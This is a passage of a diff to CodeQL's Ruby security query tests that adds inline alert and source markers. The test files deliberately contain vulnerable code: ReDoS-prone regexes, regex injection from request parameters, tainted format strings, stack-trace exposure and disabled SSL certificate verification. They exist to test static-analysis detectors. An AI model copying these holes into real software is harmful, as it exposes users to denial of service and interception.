GOOD -bad29 = /((\s|\s)*)"/ +bad29 = /((\s|\s)*)"/ # $ Alert # NOT GOOD -bad30 = /((\w|G)*)"/ +bad30 = /((\w|G)*)"/ # $ Alert # GOOD good11 = /((\s|\d)*)"/ # NOT GOOD -bad31 = /((\d|\w)*)"/ +bad31 = /((\d|\w)*)"/ # $ Alert # NOT GOOD -bad32 = /((\d|5)*)"/ +bad32 = /((\d|5)*)"/ # $ Alert # BAD - \f is not handled correctly -bad33 = /((\s|[\f])*)"/ +bad33 = /((\s|[\f])*)"/ # $ Alert # BAD - \v is not handled correctly -bad34 = /((\s|[\v]|\\v)*)"/ +bad34 = /((\s|[\v]|\\v)*)"/ # $ Alert # NOT GOOD -bad35 = /((\f|[\f])*)"/ +bad35 = /((\f|[\f])*)"/ # $ Alert # NOT GOOD -bad36 = /((\W|\D)*)"/ +bad36 = /((\W|\D)*)"/ # $ Alert # NOT GOOD -bad37 = /((\S|\w)*)"/ +bad37 = /((\S|\w)*)"/ # $ Alert # NOT GOOD -bad38 = /((\S|[\w])*)"/ +bad38 = /((\S|[\w])*)"/ # $ Alert # NOT GOOD -bad39 = /((1s|[\da-z])*)"/ +bad39 = /((1s|[\da-z])*)"/ # $ Alert # NOT GOOD -bad40 = /((0|[\d])*)"/ +bad40 = /((0|[\d])*)"/ # $ Alert # NOT GOOD -bad41 = /(([\d]+)*)"/ +bad41 = /(([\d]+)*)"/ # $ Alert # GOOD - there is no witness in the end that could cause the regexp to not match good12 = /(\d+(X\d+)?)+/ @@ -182,49 +182,49 @@ good15 = /^([^>]+)*(>|$)/ # NOT GOOD -bad43 = /^([^>a]+)*(>|$)/ +bad43 = /^([^>a]+)*(>|$)/ # $ Alert # NOT GOOD -bad44 = /(\n\s*)+$/ +bad44 = /(\n\s*)+$/ # $ Alert # NOT GOOD -bad45 = /^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/ +bad45 = /^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/ # $ Alert # NOT GOOD -bad46 = /\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}/ +bad46 = /\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}/ # $ Alert # NOT GOOD -bad47 = /(a+|b+|c+)*c/ +bad47 = /(a+|b+|c+)*c/ # $ Alert # NOT GOOD -bad48 = /(((a+a?)*)+b+)/ +bad48 = /(((a+a?)*)+b+)/ # $ Alert # NOT GOOD -bad49 = /(a+)+bbbb/ +bad49 = /(a+)+bbbb/ # $ Alert # GOOD good16 = /(a+)+aaaaa*a+/ # NOT GOOD -bad50 = /(a+)+aaaaa$/ +bad50 = /(a+)+aaaaa$/ # $ Alert # GOOD good17 = /(\n+)+\n\n/ # NOT GOOD -bad51 = /(\n+)+\n\n$/ +bad51 = /(\n+)+\n\n$/ # $ Alert # NOT GOOD -bad52 = /([^X]+)*$/ +bad52 = /([^X]+)*$/ # $ Alert # NOT GOOD -bad53 = /(([^X]b)+)*$/ +bad53 = /(([^X]b)+)*$/ # $ Alert # GOOD good18 = /(([^X]b)+)*($|[^X]b)/ # NOT GOOD -bad54 = /(([^X]b)+)*($|[^X]c)/ +bad54 = /(([^X]b)+)*($|[^X]c)/ # $ Alert # GOOD good20 = /((ab)+)*ababab/ @@ -236,13 +236,13 @@ good22 = /((ab)+)*/ # NOT GOOD -bad55 = /((ab)+)*$/ +bad55 = /((ab)+)*$/ # $ Alert # GOOD good23 = /((ab)+)*[a1][b1][a2][b2][a3][b3]/ # NOT GOOD -bad56 = /([\n\s]+)*(.)/ +bad56 = /([\n\s]+)*(.)/ # $ Alert # GOOD - any witness passes through the accept state. good24 = /(A*A*X)*/ @@ -251,13 +251,13 @@ good26 = /([^\\\]]+)*/ # NOT GOOD -bad59 = /(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-/ +bad59 = /(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-/ # $ Alert # NOT GOOD -bad60 = /(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-/ +bad60 = /(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-/ # $ Alert # NOT GOOD -bad61 = /(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-/ +bad61 = /(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-/ # $ Alert # GOOD good27 = /(thisisagoddamnlongstringforstresstestingthequery|imanotherbutunrelatedstringcomparedtotheotherstring)*-/ @@ -269,58 +269,58 @@ #good29 = /foo((\uDC66|\uDC67)|(\uDC68|\uDC69))*foo/ # NOT GOOD (but cannot currently construct a prefix) -bad62 = /a{2,3}(b+)+X/ +bad62 = /a{2,3}(b+)+X/ # $ Alert # NOT GOOD (and a good prefix test) -bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/ +bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/ # $ Alert # GOOD good30 = /(a+)*[\S\s][\S\s][\S\s]?/ # GOOD - but we fail to see that repeating the attack string ends in the "accept any" state (due to not parsing the range `[^]{2,3}`). -good31 = /(a+)*[\S\s]{2,3}/ +good31 = /(a+)*[\S\s]{2,3}/ # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists (due to not parsing the range `[^]{2,}` when constructing the NFA). -good32 = /(a+)*([\S\s]{2,}|X)$/ +good32 = /(a+)*([\S\s]{2,}|X)$/ # $ Alert # GOOD good33 = /(a+)*([\S\s]*|X)$/ # NOT GOOD -bad64 = /((a+)*$|[\S\s]+)/ +bad64 = /((a+)*$|[\S\s]+)/ # $ Alert # GOOD - but still flagged. The only change compared to the above is the order of alternatives, which we don't model. -good34 = /([\S\s]+|(a+)*$)/ +good34 = /([\S\s]+|(a+)*$)/ # $ Alert # GOOD good35 = /((;|^)a+)+$/ # NOT GOOD (a good prefix test) -bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/ +bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/ # $ Alert # NOT GOOD -bad66 = /^ab(c+)+$/ +bad66 = /^ab(c+)+$/ # $ Alert # NOT GOOD -bad67 = /(\d(\s+)*){20}/ +bad67 = /(\d(\s+)*){20}/ # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists. -good36 = /(([^\/]|X)+)(\/[\S\s]*)*$/ +good36 = /(([^\/]|X)+)(\/[\S\s]*)*$/ # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists. -good37 = /^((x([^Y]+)?)*(Y|$))/ +good37 = /^((x([^Y]+)?)*(Y|$))/ # $ Alert # NOT GOOD -bad68 = /(a*)+b/ +bad68 = /(a*)+b/ # $ Alert # NOT GOOD -bad69 = /foo([\w-]*)+bar/ +bad69 = /foo([\w-]*)+bar/ # $ Alert # NOT GOOD -bad70 = /((ab)*)+c/ +bad70 = /((ab)*)+c/ # $ Alert # NOT GOOD -bad71 = /(a?a?)*b/ +bad71 = /(a?a?)*b/ # $ Alert # GOOD good38 = /(a?)*b/ @@ -329,54 +329,54 @@ bad72 = /(c?a?)*b/ # NOT GOOD -bad73 = /(?:a|a?)+b/ +bad73 = /(?:a|a?)+b/ # $ Alert # NOT GOOD - but not detected. bad74 = /(a?b?)*$/ # NOT GOOD -bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/ +bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/ # $ Alert # NOT GOOD - but not detected -bad77 = /^((a)+\w)+$/ +bad77 = /^((a)+\w)+$/ # $ Alert # NOT GOOD -bad78 = /^(b+.)+$/ +bad78 = /^(b+.)+$/ # $ Alert # GOOD good39 = /a*b/ # All 4 bad combinations of nested * and + -bad79 = /(a*)*b/ -bad80 = /(a+)*b/ -bad81 = /(a*)+b/ -bad82 = /(a+)+b/ +bad79 = /(a*)*b/ # $ Alert +bad80 = /(a+)*b/ # $ Alert +bad81 = /(a*)+b/ # $ Alert +bad82 = /(a+)+b/ # $ Alert # GOOD good40 = /(a|b)+/ good41 = /(?:[\s;,"'<>(){}|\[\]@=+*]|:(?![\/\\]))+/ # NOT GOOD -bad83 = /^((?:a{|-)|\w\{)+X$/ -bad84 = /^((?:a{0|-)|\w\{\d)+X$/ -bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/ -bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/ +bad83 = /^((?:a{|-)|\w\{)+X$/ # $ Alert +bad84 = /^((?:a{0|-)|\w\{\d)+X$/ # $ Alert +bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/ # $ Alert +bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/ # $ Alert # NOT GOOD bad87 = /^((?:a{0,2}|-)|\w\{\d,\d\})+X$/ # NOT GOOD -bad88 = /^X(\u0061|a)*Y$/ +bad88 = /^X(\u0061|a)*Y$/ # $ Alert # GOOD good43 = /^X(\u0061|b)+Y$/ # NOT GOOD -bad88 = /X([[:digit:]]|\d)+Y/ +bad88 = /X([[:digit:]]|\d)+Y/ # $ Alert # NOT GOOD -bad89 = /\G(a|\w)*$/ -bad90 = /\b(a|\w)*$/ +bad89 = /\G(a|\w)*$/ # $ Alert +bad90 = /\b(a|\w)*$/ # $ Alert # NOT GOOD; attack: "0".repeat(30) + "!" # Adapated from addressable (https://github.com/sporkmonger/addressable) @@ -387,5 +387,5 @@ module Bad91 var_char_class = ALPHA + DIGIT + '_' var_char = "(?:(?:[#{var_char_class}]|%[a-fA-F0-9][a-fA-F0-9])+)" var = "(?:#{var_char}(?:\\.?#{var_char})*)" - bad91 = /^#{var}$/ + bad91 = /^#{var}$/ # $ Alert end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref index 5807dc56fa07..28e7aa939063 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref @@ -1 +1,2 @@ -queries/security/cwe-1333/PolynomialReDoS.ql +query: queries/security/cwe-1333/PolynomialReDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb index 2f73209321f2..117908eb881f 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb @@ -1,35 +1,35 @@ class FooController < ActionController::Base def some_request_handler # A source for the data-flow query (i.e. a remote flow source) - name = params[:name] + name = params[:name] # $ Source # A vulnerable regex regex = /^\s+|\s+$/ # Various sinks that match the source against the regex - name =~ regex # NOT GOOD - name !~ regex # NOT GOOD - name[regex] # NOT GOOD - name.gsub regex, '' # NOT GOOD - name.index regex # NOT GOOD - name.match regex # NOT GOOD - name.match? regex # NOT GOOD - name.partition regex # NOT GOOD - name.rindex regex # NOT GOOD - name.rpartition regex # NOT GOOD - name.scan regex # NOT GOOD - name.split regex # NOT GOOD - name.sub regex, '' # NOT GOOD - regex.match name # NOT GOOD - regex.match? name # NOT GOOD + name =~ regex # NOT GOOD # $ Alert + name !~ regex # NOT GOOD # $ Alert + name[regex] # NOT GOOD # $ Alert + name.gsub regex, '' # NOT GOOD # $ Alert + name.index regex # NOT GOOD # $ Alert + name.match regex # NOT GOOD # $ Alert + name.match? regex # NOT GOOD # $ Alert + name.partition regex # NOT GOOD # $ Alert + name.rindex regex # NOT GOOD # $ Alert + name.rpartition regex # NOT GOOD # $ Alert + name.scan regex # NOT GOOD # $ Alert + name.split regex # NOT GOOD # $ Alert + name.sub regex, '' # NOT GOOD # $ Alert + regex.match name # NOT GOOD # $ Alert + regex.match? name # NOT GOOD # $ Alert # Destructive variants - a = params[:b] - a.gsub! regex, '' # NOT GOOD - b = params[:a] - b.slice! regex # NOT GOOD - c = params[:c] - c.sub! regex, '' # NOT GOOD + a = params[:b] # $ Source + a.gsub! regex, '' # NOT GOOD # $ Alert + b = params[:a] # $ Source + b.slice! regex # NOT GOOD # $ Alert + c = params[:c] # $ Source + c.sub! regex, '' # NOT GOOD # $ Alert # GOOD - guarded by a string length check if name.length < 1024 @@ -39,19 +39,19 @@ def some_request_handler # GOOD - regex does not suffer from polynomial backtracking (regression test) params[:foo] =~ /\A[bc].*\Z/ - case name # NOT GOOD + case name # NOT GOOD # $ Sink when regex puts "foo" - end + end # $ Alert - case name # NOT GOOD + case name # NOT GOOD # $ Sink in /^\s+|\s+$/ then puts "foo" - end + end # $ Alert end def some_other_request_handle - name = params[:name] # source + name = params[:name] # source # $ Source indirect_use_of_reg /^\s+|\s+$/, name @@ -59,22 +59,22 @@ def some_other_request_handle end def indirect_use_of_reg (reg, input) - input.gsub reg, '' # NOT GOOD + input.gsub reg, '' # NOT GOOD # $ Alert end def as_string_indirect (reg_as_string, input) - input.match? reg_as_string, '' # NOT GOOD + input.match? reg_as_string, '' # NOT GOOD # $ Alert end def re_compile_indirect - name = params[:name] # source + name = params[:name] # source # $ Source reg = Regexp.new '^\s+|\s+$' re_compile_indirect_2 reg, name end def re_compile_indirect_2 (reg, input) - input.gsub reg, '' # NOT GOOD + input.gsub reg, '' # NOT GOOD # $ Alert end # See https://github.com/dependabot/dependabot-core/blob/37dc1767fde9b7184020763f4d0c1434f93d11d6/python/lib/dependabot/python/requirement_parser.rb#L6-L25 @@ -100,8 +100,8 @@ def re_compile_indirect_2 (reg, input) MARKER_EXPR = /(#{MARKER_EXPR_ONE}|\(\s*|\s*\)|\s+and\s+|\s+or\s+)+/ def use_marker_expr - name = params[:name] # source + name = params[:name] # source # $ Source - name =~ MARKER_EXPR + name =~ MARKER_EXPR # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb index b6bf9570f4d0..9ec0a2082d02 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb @@ -1,13 +1,13 @@ module Foo - def bar(x) + def bar(x) # $ Source # Run the /a+$/ regex on the input x. - match = x.match(/a+$/) + match = x.match(/a+$/) # $ Alert end protected - def baz(x) - match = x.match(/a+$/) + def baz(x) # $ Source + match = x.match(/a+$/) # $ Alert - match2 = x.match(/(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*Y$/) + match2 = x.match(/(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*Y$/) # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref index 11c9e7230269..2623c876bf6c 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref +++ b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref @@ -1 +1,2 @@ -queries/security/cwe-1333/RegExpInjection.ql +query: queries/security/cwe-1333/RegExpInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb index aca47e42e60c..469c084a75b1 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb @@ -1,26 +1,26 @@ class FooController < ActionController::Base # BAD def route0 - name = params[:name] - regex = /#{name}/ + name = params[:name] # $ Source + regex = /#{name}/ # $ Alert end # BAD def route1 - name = params[:name] - regex = /foo#{name}bar/ + name = params[:name] # $ Source + regex = /foo#{name}bar/ # $ Alert end # BAD def route2 - name = params[:name] - regex = Regexp.new(name) + name = params[:name] # $ Source + regex = Regexp.new(name) # $ Alert end # BAD def route3 - name = params[:name] - regex = Regexp.new("@" + name) + name = params[:name] # $ Source + regex = Regexp.new("@" + name) # $ Alert end # GOOD - string is compared against a constant string @@ -51,7 +51,7 @@ def route7 # BAD def route8 - name = params[:name] - regex = Regexp.compile("@" + name) + name = params[:name] # $ Source + regex = Regexp.compile("@" + name) # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref b/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref index c8e1c80ec408..f688cc3f7e3f 100644 --- a/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref +++ b/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref @@ -1 +1,2 @@ -queries/security/cwe-134/TaintedFormatString.ql +query: queries/security/cwe-134/TaintedFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb b/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb index aa66a9aa4704..cff03a07ef06 100644 --- a/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb +++ b/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb @@ -1,44 +1,44 @@ class UsersController < ActionController::Base def show - printf(params[:format], arg) # BAD - Kernel.printf(params[:format], arg) # BAD + printf(params[:format], arg) # BAD # $ Alert + Kernel.printf(params[:format], arg) # BAD # $ Alert printf(params[:format]) # GOOD Kernel.printf(params[:format]) # GOOD - printf(IO.new(1), params[:format], arg) # BAD - Kernel.printf(IO.new(1), params[:format], arg) # BAD + printf(IO.new(1), params[:format], arg) # BAD # $ Alert + Kernel.printf(IO.new(1), params[:format], arg) # BAD # $ Alert printf("%s", params[:format]) # GOOD Kernel.printf("%s", params[:format]) # GOOD fmt = "%s" printf(fmt, params[:format]) # GOOD - printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE] - Kernel.printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE] + printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE] # $ Alert + Kernel.printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE] # $ Alert - str1 = Kernel.sprintf(params[:format], arg) # BAD - str2 = sprintf(params[:format], arg) # BAD + str1 = Kernel.sprintf(params[:format], arg) # BAD # $ Alert + str2 = sprintf(params[:format], arg) # BAD # $ Alert str1 = Kernel.sprintf(params[:format]) # GOOD str2 = sprintf(params[:format]) # GOOD stdout = IO.new 1 - stdout.printf(params[:format], arg) # BAD + stdout.printf(params[:format], arg) # BAD # $ Alert stdout.printf(params[:format]) # GOOD # Taint via string concatenation - printf("A log message: " + params[:format], arg) # BAD + printf("A log message: " + params[:format], arg) # BAD # $ Alert # Taint via string interpolation - printf("A log message: #{params[:format]}", arg) # BAD + printf("A log message: #{params[:format]}", arg) # BAD # $ Alert # Using String# - "A log message #{params[:format]} %{foo}" % {foo: "foo"} # BAD + "A log message #{params[:format]} %{foo}" % {foo: "foo"} # BAD # $ Alert # String# with an array - "A log message #{params[:format]} %08x" % ["foo"] # BAD + "A log message #{params[:format]} %08x" % ["foo"] # BAD # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref index c110f2b1765c..ebd3ae1cee14 100644 --- a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref +++ b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref @@ -1 +1,2 @@ -queries/security/cwe-209/StackTraceExposure.ql \ No newline at end of file +query: queries/security/cwe-209/StackTraceExposure.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb index dcdf5c1f22ca..19e0c7972cf7 100644 --- a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb +++ b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb @@ -3,19 +3,19 @@ class FooController < ApplicationController def show something_that_might_fail() rescue => e - render body: e.backtrace, content_type: "text/plain" + render body: e.backtrace, content_type: "text/plain" # $ Alert end def show2 - bt = caller() - render body: bt, content_type: "text/plain" + bt = caller() # $ Source + render body: bt, content_type: "text/plain" # $ Alert end def show3 not_a_method() rescue NoMethodError => e - render body: e.backtrace, content_type: "text/plain" + render body: e.backtrace, content_type: "text/plain" # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-295/Excon.rb b/ruby/ql/test/query-tests/security/cwe-295/Excon.rb index 8bdabc31cf28..7838be7dfcdb 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Excon.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Excon.rb @@ -3,31 +3,31 @@ def method1 # BAD Excon.defaults[:ssl_verify_peer] = false - Excon.get("http://example.com/") + Excon.get("http://example.com/") # $ Alert end def method2 # BAD Excon.ssl_verify_peer = false - Excon.get("http://example.com/") + Excon.get("http://example.com/") # $ Alert end def method3(secure) # BAD Excon.defaults[:ssl_verify_peer] = (secure ? true : false) - Excon.get("http://example.com/") + Excon.get("http://example.com/") # $ Alert end def method4 # BAD conn = Excon::Connection.new("http://example.com/", ssl_verify_peer: false) - conn.get + conn.get # $ Alert end def method5 # BAD Excon.ssl_verify_peer = true - Excon.new("http://example.com/", ssl_verify_peer: false).get + Excon.new("http://example.com/", ssl_verify_peer: false).get # $ Alert end def method6 diff --git a/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb b/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb index 6c12db2c9e6e..1e298b82aebc 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Faraday.rb @@ -2,11 +2,11 @@ # BAD connection = Faraday.new("http://example.com", ssl: { verify: false }) -response = connection.get("/") +response = connection.get("/") # $ Alert # BAD connection = Faraday.new("http://example.com", ssl: { verify_mode: OpenSSL::SSL::VERIFY_NONE }) -response = connection.get("/") +response = connection.get("/") # $ Alert # GOOD connection = Faraday.new("http://example.com") @@ -32,7 +32,7 @@ def verify_as_arg(host, path, arg) # BAD, due to the call below connection = Faraday.new(host, ssl: { verify: arg }) - response = connection.get(path) + response = connection.get(path) # $ Alert end verify_as_arg("http://example.com", "/", false) @@ -41,7 +41,7 @@ def verify_as_arg(host, path, arg) def verify_mode_as_arg(host, path, arg) # BAD, due to the call below connection = Faraday.new(host, ssl: { verify_mode: arg }) - response = connection.get(path) + response = connection.get(path) # $ Alert end verify_mode_as_arg("http://example.com", "/", OpenSSL::SSL::VERIFY_NONE) diff --git a/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb b/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb index 902950e5be9e..dccbc0f8b523 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/HttpClient.rb @@ -3,7 +3,7 @@ # BAD client = HTTPClient.new client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE -client.get("https://example.com") +client.get("https://example.com") # $ Alert # GOOD client = HTTPClient.new diff --git a/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb b/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb index 562cbbc1f435..575744da9e86 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/Httparty.rb @@ -1,19 +1,19 @@ require "httparty" # BAD -HTTParty.get("http://example.com/", verify: false) +HTTParty.get("http://example.com/", verify: false) # $ Alert # BAD -HTTParty.get("http://example.com/", verify_peer: false) +HTTParty.get("http://example.com/", verify_peer: false) # $ Alert # BAD -HTTParty.get("http://example.com/", { verify_peer: false }) +HTTParty.get("http://example.com/", { verify_peer: false }) # $ Alert # BAD -HTTParty.post("http://example.com/", body: "some_data", verify: false) +HTTParty.post("http://example.com/", body: "some_data", verify: false) # $ Alert # BAD -HTTParty.post("http://example.com/", { body: "some_data", verify: false }) +HTTParty.post("http://example.com/", { body: "some_data", verify: false }) # $ Alert # GOOD HTTParty.get("http://example.com/") diff --git a/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb b/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb index 9269eeae5316..7915e8b80d6f 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/NetHttp.rb @@ -6,5 +6,5 @@ http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE request = Net::HTTP::Get.new uri.request_uri -response = http.request request +response = http.request request # $ Alert puts response.body diff --git a/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb b/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb index a825791c8233..377f864b5b7b 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/OpenURI.rb @@ -1,24 +1,24 @@ require "open-uri" # BAD -Kernel.open("https://example.com", ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) +Kernel.open("https://example.com", ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) # $ Alert # BAD -Kernel.open("https://example.com", { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) +Kernel.open("https://example.com", { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) # $ Alert # BAD options = { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE } -Kernel.open("https://example.com", options) +Kernel.open("https://example.com", options) # $ Alert # BAD -URI.parse("https://example.com").open(ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) +URI.parse("https://example.com").open(ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE) # $ Alert # BAD -URI.parse("https://example.com").open({ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) +URI.parse("https://example.com").open({ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }) # $ Alert # BAD options = { ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE } -URI.parse("https://example.com").open(options) +URI.parse("https://example.com").open(options) # $ Alert # GOOD Kernel.open("https://example.com") diff --git a/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref b/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref index e2caf232ddbc..22b77bdb4b0f 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref +++ b/ruby/ql/test/query-tests/security/cwe-295/RequestWithoutValidation.qlref @@ -1 +1,2 @@ -queries/security/cwe-295/RequestWithoutValidation.ql \ No newline at end of file +query: queries/security/cwe-295/RequestWithoutValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb b/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb index a180ac0d74c0..911607288237 100644 --- a/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb +++ b/ruby/ql/test/query-tests/security/cwe-295/RestClient.rb @@ -2,21 +2,21 @@ # BAD resource = RestClient::Resource.new("https://example.com", verify_ssl: OpenSSL::SSL::VERIFY_NONE) -response = resource.get +response = resource.get # $ Alert # BAD resource = RestClient::Resource.new("https://example.com", { verify_ssl: OpenSSL::SSL::VERIFY_NONE }) -response = resource.get +response = resource.get # $ Alert # BAD options = { verify_ssl: OpenSSL::SSL::VERIFY_NONE } resource = RestClient::Resource.new("https://example.com", options) -response = resource.get +response = resource.get # $ Alert # BAD value = OpenSSL::SSL::VERIFY_NONE resource = RestClient::Resource.new("https://example.com", verify_ssl: value) -response = resource.get +response = resource.get # $ Alert # GOOD RestClient.get("https://example.com") diff --git 